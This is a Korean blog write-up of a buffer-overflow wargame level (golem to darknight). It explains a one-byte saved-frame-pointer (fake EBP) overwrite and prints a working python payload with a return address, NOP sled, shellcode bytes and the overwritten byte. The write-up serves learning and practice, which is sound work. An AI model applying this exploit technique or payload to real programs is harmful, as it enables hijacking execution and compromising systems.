nemo의 이야기
BOF원정대 golem -> darknight 본문
코드를 확인하면
1. argv를 1개 이상을 사용하지 못한다.
이번 문제는 RET가 아닌 SFP의 1byte를 변조하여 프로그램의 실행 히름을 바꾸는 문제이다.
이를 해결하기 위해서는 Fake Ebp를 하여 원하는 위치에 공격 코드를 올려서 공격하면 된다.
우선 problem_child ebp와 esp를 확인해보자
bffffa41 주소에서 41부분에 주소를 바꿔 공격하면 된다. 그러면 leave 명령을 통해 SFP가 있는 곳으로 이동 후 변조된 ebp값을 pop을 함으로써 main
에 ebp값은 변조된 ebp값으로 저장
problem_child 함수의 RET를 통해 다시 main 프레임으로 복귀
main 함수의 leave가 수행된다.
마지막으로 ret 명령으로, eip는 esp를 참조해서 다음 실행할 주소로 점프한다.
이렇게하면 1Byte의 변조 만으로 실행 흐름을이 바뀔 수 있다.
그럼 이제 공격코드를 작성해 보자
우선 쉘코드의 바이트수(17) + 더미(23) + 주소(1) = 41
$(python -c 'print "AAAA" + "\xcd\xfa\xff\xbf" + "\x90" * 15 + "\x68\xf9\xbf\x0f\x40\x68\xe0\x91\x03\x40\xb8\xe0\x8a\x05\x40\x50\xc3" + "\xc4"')
이와 같이 공격에 성공한 것을 확인할 수 있다.
'Information security > System security' 카테고리의 다른 글
BOF원정대 bugbear -> giant (0) | 2018.01.28 |
---|---|
BOF원정대 darknight -> bugbear (0) | 2018.01.28 |
BOF원정대 skeleton -> golem (0) | 2018.01.25 |
BOF원정대 vampire -> skeleton (0) | 2018.01.19 |
BOF원정대 orge -> troll (0) | 2018.01.10 |
Comments